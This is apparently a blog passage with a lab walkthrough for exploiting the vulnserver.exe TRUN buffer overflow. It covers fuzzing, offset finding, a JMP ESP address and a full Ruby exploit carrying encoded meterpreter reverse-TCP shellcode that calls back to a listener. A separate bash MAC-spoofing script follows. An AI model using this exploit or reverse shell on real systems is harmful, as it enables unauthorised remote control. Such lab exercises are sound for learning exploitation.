    The last line “Done” in addition to vulnserver.exe still running on our Windows box gives us the confirmation that the function STATS is not vulnerable. Now we just replace the STATS with TRUN and save the modified script under vulnserver2.spk:

    s_readline(); #Tells Spike to read what vulnserver sends
    s_string(“TRUN “); #As if a user would put in STATS in the shell
    s_string_variable(“COMMAND”); #Randomizes user input (COMMAND)

    root@Kali:/usr/share/spike/SPIKE/SPIKE/src/# generic_send_tcp 10.10.10.128 9999 /usr/share/spike/SPIKE/SPIKE/src/scripts/vulnserver.spk

    03_TRUN
    As we can see, Spike isn’t able to connect to the vulnserver on the Windows XP box anymore.
    If we check on the Windows box, vulnserver.exe just crashed.

    Debugging vulnserver.exe’s crash
    To see the debuged output you need to set your Windows registry to the following settings:
    First enter regedit in Windows’s RUN prompt. Then you need to go to the following entry:

    MyComputer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

    drwatson
    Then set the variables to the following values:
    Auto = 1
    Debugger = drwtsn32 -p %ld -e %ld -g

    Whereas you can use your debugger of choice here, but for this tutorial Dr.Watson serves our purposes well enough. (The options here are the standard options that come with WinXP SP3, and invoke drwtsn32.exe on any crash.)

    Next we restart vulnserver.exe and go back to our Kali box to start up Wireshark.

    We then choose to listen on the interface eth0 and start capturing. After that, we repeat the above mentioned fuzzing process with Spike and when done stop capturing in Wireshark.

    We then apply the following filter to the capture ip.dst==192.168.178.130 to focus on the important traffic.
    Now we can dig through the data by right clicking on the first packet and select the Follow TCP Stream option.
    In that case we need to click on Filter Out This Stream to discard that stream from our capture data. This is because the TRUN COMPLETE message gives away that the vulnserver.exe is still running.
    follow_tcp_string
    Now we go to the next packet, choose the Follow TCP Stream option again and look at the content of the conversation.
    follow_tcp_string2
    We see the vulnserver.exe’s banner again and then a ‘TRUN /…/’ followed by a whole bunch of ‘A’ characters. Since there is no reply in the TCP conversation, we know that this is the part that caused the vulnserver.exe to crash. We then proceed in Wireshark by selecting only the 5010 bytes our Kali box sent to the vulnserver.exe and save that part on our disk. A simple wc -m on the just saved file that reveals that 1 byte equals one character.
    So we now now that minus the ‘TRUN /…/’ we need to send (at least) 5000 bytes to get the TRUN function of vulnserver.exe to crash.
    To determine exactly at which memory address the crash occurs we are going to write a Ruby script that sends the open socket of vulnserver.exe a custom junk data string. We can create such a junk data string easily with the following command:

    root@Kali:/usr/share/metasploit-framework/tools/# pattern_create.rb 5000

    We then need to put the created data stream in the following ruby script:

    #!/usr/bin/ruby
    #This script shoots custom junk data of 5000 bytes to the specified port and #address. The 'junk' string was created with pattern_create.rb 5000
    require 'socket'
    t = TCPSocket.new('10.10.10.128', '9999')
    
    header = 'TRUN /.../'
    junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6 ----SNIP---- gGk4Gk5Gk'
    
    command = header+junk
    data = t.recv(1024)
    puts data
    t.send(command, 0)
    t.close
    
    ### End of script ###

    We now start vulnserver.exe again and then execute the script. Vulnserver will crash again and if you look at the details given you by the Dr.Watson Debugger you’ll see that instead of the 41414141, the address now holds 386f4337 in memory.
    Offset

    Exploit development
    Now we can see the output of Dr.Watson which refers to an offset of 386f4337. Thus, we now found the spot in the memory where we could overflow the buffer with our own shellcode.
    Now to find the matching byte we can run the following command:

    root@Kali:/usr/share/metasploit-framework/tools/# pattern_offset.rb 0x386f4337 5000

    exact_match
    The exact byte of the return address is in our case 2003, which is the byte after we overwrite the EIP register. To execute our own shellcode we first send 2003 characters as junk-data to vulnserver.exe, then find a JMP ESP register to jump to our shell code and finally feed it our own shell code to execute.
    So to find a JMP ESP register that we can use for our purposes we make a copy of the essfunc.dll and load it to our Kali box. There we use the following command:

    root@kali:/usr/share/metasploit-framework/msfpescan -j esp essfunc.dll

    jmpesp
    We can see there are several JMP ESP pointers to choose from, so we just take the first: 0x625011AF, which to use it on the x86 processor architecture has to be encoded to Little Endian Format, which looks like that: 0xAF115062. But we will in turn include that conversion step into our exploit.

    Planting a command line shell
    So now that we got it all together we need to create the shell code we actually want to inject. Most tutorials about fuzzing vulnserver just let pop up the calc.exe in Windows as a proof of concept. I want to take it a step further and create a reverse tcp shell on the victim host. The following command sets up a the a reverse tcp shell that connects back to the listener at 10.10.10.130:8080 and uses the shikata_ga_nai encoder to obfuscate the code. Also the output is given in the Ruby format:

    msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=8080 LHOST=10.10.10.130 R | msfencode -e x86/shikata_ga_nai -t ruby

    Now to put it all together we need to create our exploit. We therefore utilize Ruby and put it all together:

    #!/usr/bin/ruby
    
    require 'socket'
    
    # Opens up a socket at the given address and port
    t = TCPSocket.new('10.10.10.128', '9999')
    
    # The next line is the part responsible for executing the TRUN command.
    header = 'TRUN /.../'
    
    # The next line fills the buffer of the TRUN command with 2003 times the letter B.
    # 2003 being derived from the program
    junk = "\x42".chr * 2003
    
    eip = [0x625011AF].pack("V")
    
    # The NOP sled isn't strictly necessary here but is common in many exploits
    nop = "\x90".chr * 16
    
    # This is the shellcode generated in metasploit that causes the shell to spawn
    shellcode = "\xbd\x83\x6f\x13\xe2\xd9\xee\xd9\x74\x24\xf4\x58\x2b\xc9" +
    "\xb1\x48\x83\xe8\xfc\x31\x68\x11\x03\x68\x11\xe2\x76\x93" +
    "\xfb\x64\x78\x6c\xfc\x08\xf1\x89\xcd\x1a\x65\xd9\x7c\xab" +
    "\xee\x8f\x8c\x40\xa2\x3b\x06\x24\x6a\x4b\xaf\x83\x4c\x62" +
    "\x30\x22\x50\x28\xf2\x24\x2c\x33\x27\x87\x0d\xfc\x3a\xc6" +
    "\x4a\xe1\xb5\x9a\x03\x6d\x67\x0b\x20\x33\xb4\xa0\x7a\xa4" +
    "\xbc\x55\xc8\xc5\xed\xcb\x47\x9c\x2d\xed\x84\x94\x67\xf5" +
    "\xc9\x97\x3e\x8e\x39\x63\xc1\x46\x70\x8c\xf3\xa6\xde\xb3" +
    "\x3b\x2b\x1f\xf3\xfc\xd4\x6a\x0f\xff\x69\x6c\xd4\x7d\xb6" +
    "\xf9\xc9\x26\x3d\x59\x2a\xd6\x92\x3f\xb9\xd4\x5f\x34\xe5" +
    "\xf8\x5e\x99\x9d\x05\xea\x1c\x72\x8c\xa8\x3a\x56\xd4\x6b" +
    "\x23\xcf\xb0\xda\x5c\x0f\x1c\x82\xf8\x5b\x8f\xd7\x75\x06" +
    "\xd8\x14\xb7\xb9\x18\x33\xc0\xca\x2a\x9c\x7a\x45\x07\x55" +
    "\xa4\x92\x68\x4c\x10\x0c\x97\x6f\x60\x04\x5c\x3b\x30\x3e" +
    "\x75\x44\xdb\xbe\x7a\x91\x4b\xef\xd4\x4a\x2b\x5f\x95\x3a" +
    "\xc3\xb5\x1a\x64\xf3\xb5\xf0\x0d\x99\x4c\x93\x3b\x57\x45" +
    "\xe1\x54\x65\x59\xfa\x34\xe0\xbf\x6e\x25\xa4\x68\x07\xdc" +
    "\xed\xe3\xb6\x21\x38\x8e\xf9\xaa\xce\x6e\xb7\x5a\xbb\x7c" +
    "\x20\xab\xf6\xdf\xe7\xb4\x2d\x75\x08\x21\xc9\xdc\x5f\xdd" +
    "\xd3\x39\x97\x42\x2c\x6c\xa3\x4b\xb8\xcf\xdc\xb3\x2c\xd0" +
    "\x1c\xe2\x26\xd0\x74\x52\x12\x83\x61\x9d\x8f\xb7\x39\x08" +
    "\x2f\xee\xee\x9b\x47\x0c\xc8\xec\xc8\xef\x3f\xed\x35\x26" +
    "\x06\x6b\x4f\x4c\x6a\xb7"
    
    # This part puts together the whole exploit to send to vulnserver
    command = header+junk+eip+nop+shellcode
    
    # This part receives the welcome banner of the vulnserver
    data = t.recv(1024)
    puts data
    
    # This part shows and sends the shellcode to the server
    puts command
    
    t.send(command, 0)
    
    # This part closes the connection to the server.
    t.close

    To test the script I started vulnserver.exe (of course) and ran a shell handler on port 8080 on Armitage. Sure as gold a session popped up as soon as I ran the script on my Kali box.
    Bang
    Final thoughts

    Well there are way more detailed tutorials on the vulnserver.exe creator’s page, to cover all in more technical detail. For me it was a great exercise to practice my Ruby skills, learning about new tools and it also gave some hint on how exploitation really works. Yet, if you liked the exercise I highly recommend visiting following sites, that provide you with a deeper understanding of the material:

    https://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1
    https://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2

    Macbot 0.2 – An interactive commandline script for macchanger *** Major Bugfix ***

    *** MAJOR BUGFIX, Version 0.2 release ***

    Ever got angry when Network Manager didn’t use the new MAC address you just assigned to interface wlan0? Macbot 0.2 is the solution to your problems.

    Just finished this little script that makes changing your MAC address easier. It runs under root in any Debian environment and needs macchanger and bash installed.

    1. It will just query you for the interface you want to change.

    2. It will shut down network-manager

    3. It will change your maccaddres via (macchanger -A option).

    4. It will rename your WLAN networks in /etc/NetworkManager/system-connections/ , changing ‘space’ to ‘_’

    5. It will let you select the WLAN with which you want to use the spoofed MAC address

    6. It will change the file accodingly and display back what your new MAC address is, then quits.

    If you got improvements, corrections or any other comments, let me know.

    Changelog 0.2:
    —————

    Major fixes:

    – Fixed the part that places the cloned-mac-address=XX:XX:XX:XX:XX:XX into the corresponding
    /etc/NetworkManager/system-connections/file. Now, it doesn’t put it fixed into line 12 of the
    the WLAN file, but actively looks for any ‘cloned-mac-address=XX:XX:XX:XX:XX:XX’, deletes
    it and writes it anew, just below the ‘mac-address=XX:XX:XX:XX:XX:XX’ string, where it does
    belong!

    Minor fixes:

    – Modified output string, so it repeats the chosen interface.

    —————

    Code:

    #!/bin/bash
    
    # This is the macbot.sh script. An easy script to interactively run macchanger on debian distributions employing network-manager.
    # Needs to be run as root.
    # Thanks to Hai @ http://wuhrr.wordpress.com for the bit with select, and http://chris.com/ascii/index.php?art=television/futurama
    # for the ascii_art.
    # GNU General Public License applies.
    # Author: Manuel Weber (mmweber@gmx.net)
    
    
    #	This is the main screen.
    #	It includes user input for network interface that mac has to be changed.
    #	Sanitizing input has yet to be implemented.
    #
    #  Changelog 0.2
    #--------------------
    #
    #  - Fixed the part that places the cloned-mac-address=XX:XX:XX:XX:XX:XX into 
    #    doesn't put it fixed into line 12 of the the WLAN file, but actively looks
    #    for any 'cloned-mac-address=XX:XX:XX:XX:XX:XX', deletes it and writes it 
    #    anew, just below the 'mac-address=XX:XX:XX:XX:XX:XX' string, where it does
    #    belong!
    #  
    #  - Modified output string, so it repeats the chosen interface.	
    #
    #--------------------
    
    
    echo
    echo
    echo "		###	The MAC Bot 0.2		###"
    echo
    echo
    echo
    echo "			   T		"
    echo '			 .-"-.		'
    echo "			|  ___|		"
    echo "			| (.\/.)	"
    echo "			|  ,,,' 	"
    echo "			| '###		"
    echo "			 '----'		"
    
    
    -
    
    echo
    echo
    echo 'Enter the WLAN interface you want to change (eg. wlan0, wlan1,...) : '
    echo
    
    
    read int 
    echo
    
    ifconfig $int down
    service network-manager stop
    macchanger -A $int
    echo
    echo
    
    mac=`ip link show $int | awk '/ether/ {print $2}'`
    
    
    # This part asks the user which Network has to be configured.
    # 
    #
    
    echo 'List of available, already used WLANs: '
    echo
    echo
    
    
    
    
    # Changes to network directory
    cd /etc/NetworkManager/system-connections/
    
    
    
    # Change network names to be withouth space characters
    rename "s/ /_/g" *
    
    
    
    # Set the prompt for the select command
    PS3="Type a number or 'q' to quit: "
    
    
    
    # Create a list of files to display
    fileList=$(find . -maxdepth 1 -type f)
    
    
    
    
    # Show a menu and ask for input, then remove any old cloned MAC addresses
    # and replace them with a fresh one.
    
    select fileName in $fileList; do
    	if [ -n "$fileName" ]; then
    		sed -i  "/^cloned-mac-address=.*/d" ${fileName}
    		sed -i  "/^mac-address=.*/a\cloned-mac-address=$mac" ${fileName}
    
    	fi
    	break
    done
    
    
    
    ifconfig wlan0 up
    service network-manager start
    
    echo
    echo
    echo
    echo "Changed MAC address of interface $int to: $mac"
    echo
    echo
    echo
    
    # Functionality to add to script:
    # 1. Display network interfaces to choose from
    # 2. Display macchangermodes, a)Custom b) Another c)random
    # 3.